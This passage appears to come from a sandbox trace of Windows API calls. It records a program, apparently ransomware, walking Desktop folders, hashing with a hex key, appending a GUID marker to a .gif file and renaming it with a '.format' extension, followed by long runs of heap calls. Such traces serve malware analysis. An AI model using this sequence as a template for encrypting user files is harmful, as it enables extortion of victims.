ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.734] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0068.734] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0068.734] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0068.734] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0068.734] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.735] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.735] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\") returned="lAFKNLNIoK0mzGu\\" [0068.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\") returned="Q3tTjFbyLkyl\\" [0068.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\") returned="xLckuuDeKXG\\" [0068.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0068.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.735] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.735] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.735] PathFindFileNameW (pszPath="") returned="" [0068.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe43c3780, ftCreationTime.dwHighDateTime=0x1d4ca90, ftLastAccessTime.dwLowDateTime=0x79883c00, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x79883c00, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.735] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe43c3780, ftCreationTime.dwHighDateTime=0x1d4ca90, ftLastAccessTime.dwLowDateTime=0x79883c00, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x79883c00, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.735] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x800143c0, ftCreationTime.dwHighDateTime=0x1d4cc55, ftLastAccessTime.dwLowDateTime=0x272dbea0, ftLastAccessTime.dwHighDateTime=0x1d4d32f, ftLastWriteTime.dwLowDateTime=0x272dbea0, ftLastWriteTime.dwHighDateTime=0x1d4d32f, nFileSizeHigh=0x0, nFileSizeLow=0xa45f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T1u8H1vvlEAle1MGZ.gif", cAlternateFileName="T1U8H1~1.GIF")) returned 1 [0068.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\T1u8H1vvlEAle1MGZ.gif") returned=".gif" [0068.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\T1u8H1vvlEAle1MGZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\t1u8h1vvleale1mgz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.735] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=42079) returned 1 [0068.736] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.738] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa439, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.738] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.739] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa45f, lpOverlapped=0x0) returned 1 [0068.739] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.739] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.739] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.739] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0068.740] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.740] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.740] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.740] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.740] GetLastError () returned 0x0 [0068.740] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.740] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0068.750] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa45f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.750] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.750] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.751] CloseHandle (hObject=0x5c8) returned 1 [0068.752] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\T1u8H1vvlEAle1MGZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\t1u8h1vvleale1mgz.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\T1u8H1vvlEAle1MGZ.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\t1u8h1vvleale1mgz.gif.format")) returned 1 [0068.752] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.752] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41525dd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2b35ad50, ftLastAccessTime.dwHighDateTime=0x1d4d0f5, ftLastWriteTime.dwLowDateTime=0x2b35ad50, ftLastWriteTime.dwHighDateTime=0x1d4d0f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_gU8s-ivYxTsofJE", cAlternateFileName="_GU8S-~1")) returned 1 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e) returned 0x3152000 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283d50 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283c98 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283ec0 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283e08 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2ac0 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2c88 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283900 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2db8 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327dc68 | out: hHeap=0x5d0000) returned 1 [0068.754] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a89d0 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0068.754] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.754] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41525dd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2b35ad50, ftLastAccessTime.dwHighDateTime=0x1d4d0f5, ftLastWriteTime.dwLowDateTime=0x2b35ad50, ftLastWriteTime.dwHighDateTime=0x1d4d0f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_gU8s-ivYxTsofJE", cAlternateFileName="_GU8S-~1")) returned 0 [0068.754] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.755] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.755] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.755] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.755] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.756] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.756] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.757] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.757] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.758] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.758] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 